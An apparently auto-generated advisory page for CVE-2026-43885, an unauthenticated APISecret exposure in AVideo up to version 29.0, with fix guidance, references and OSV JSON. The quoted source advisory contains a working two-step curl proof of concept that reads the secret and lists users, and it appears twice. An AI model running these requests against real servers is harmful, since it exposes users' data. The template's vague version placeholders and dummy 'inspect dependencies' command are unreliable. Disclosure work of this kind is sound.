CVE-2026-43885: Wwbn/avideo AVideo Vulnerable To Exposure Of Vulnerability

HIGH
Advisory Identifier: GHSA-xr49-f4rh-qcjf
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CWE-862 CWE-200
Published
Advisory Summary

CVE-2026-43885 is a HIGH avideo vulnerable to exposure of vulnerability (CWE-862: Missing Authorization) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo vulnerable to exposure of sensitive information to an unauthorized actor and missing authorization. Remediation is available in the latest vendor maintenance releases.

CVE-2026-43885 at a Glance

CVE Identifier CVE-2026-43885
GHSA Identifier GHSA-xr49-f4rh-qcjf
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-862: Missing Authorization
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-43885

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release 
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-43885, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in. ### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`. That secret is accepted by `plugin/API/get.json.php` as authentication. ### PoC 1. Get plugin config (contains `APISecret`): ```bash curl 'http://<host>/objects/plugins.json.php' ``` <img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" /> 2. Copy APISecret from response, then call API directly: ```bash curl --get 'http://<host>/plugin/API/get.json.php' \ --data-urlencode 'APIName=users_list' \ --data-urlencode 'APISecret=<APISecret>' \ --data-urlencode 'rowCount=3' \ --data-urlencode 'current=1' ``` <img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" /> ### Impact Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data. ### Recommended fix Requiring admin auth for full plugin inventory/config endpoint.

CVE-2026-43885 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
 Packagist
≤ 29.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/WWBN/AVideo/security/advisories/GHSA-xr49-f4rh-qcjf
NVD — CVE-2026-43885 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-43885
Security Fix Commit FIX COMMIT
https://github.com/WWBN/AVideo/commit/1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b
Wwbn/avideo Source Repository REPOSITORY
https://github.com/WWBN/AVideo

Frequently Asked Questions

What is CVE-2026-43885?
CVE-2026-43885 is a security vulnerability in Wwbn/avideo involving AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization under CWE-862: Missing Authorization.
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-43885?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-43885?
CVE-2026-43885 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-43885?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xr49-f4rh-qcjf",
  "modified" : "2026-05-13T14:28:45Z",
  "published" : "2026-05-05T22:20:42Z",
  "aliases" : [ "CVE-2026-43885" ],
  "summary" : "AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization",
  "details" : "### Summary\n  An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints\n  (e.g. `users_list`) without logging in.\n\n  ### Details\n  `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`.\n  That secret is accepted by `plugin/API/get.json.php` as authentication.\n\n  ### PoC\n  1. Get plugin config (contains `APISecret`):\n  ```bash\n  curl 'http://<host>/objects/plugins.json.php'\n```\n<img width=\"879\" height=\"94\" alt=\"image\" src=\"https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb\" />\n\n  2. Copy APISecret from response, then call API directly:\n  ```bash\n  curl --get 'http://<host>/plugin/API/get.json.php' \\\n    --data-urlencode 'APIName=users_list' \\\n    --data-urlencode 'APISecret=<APISecret>' \\\n    --data-urlencode 'rowCount=3' \\\n    --data-urlencode 'current=1'\n```\n<img width=\"1719\" height=\"170\" alt=\"image\" src=\"https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79\" />\n\n\n  ### Impact\n  Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.\n\n  ### Recommended fix\n  Requiring admin auth for full plugin inventory/config endpoint.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-xr49-f4rh-qcjf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43885"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T22:20:42Z",
    "nvd_published_at" : "2026-05-11T22:22:13Z"
  }
}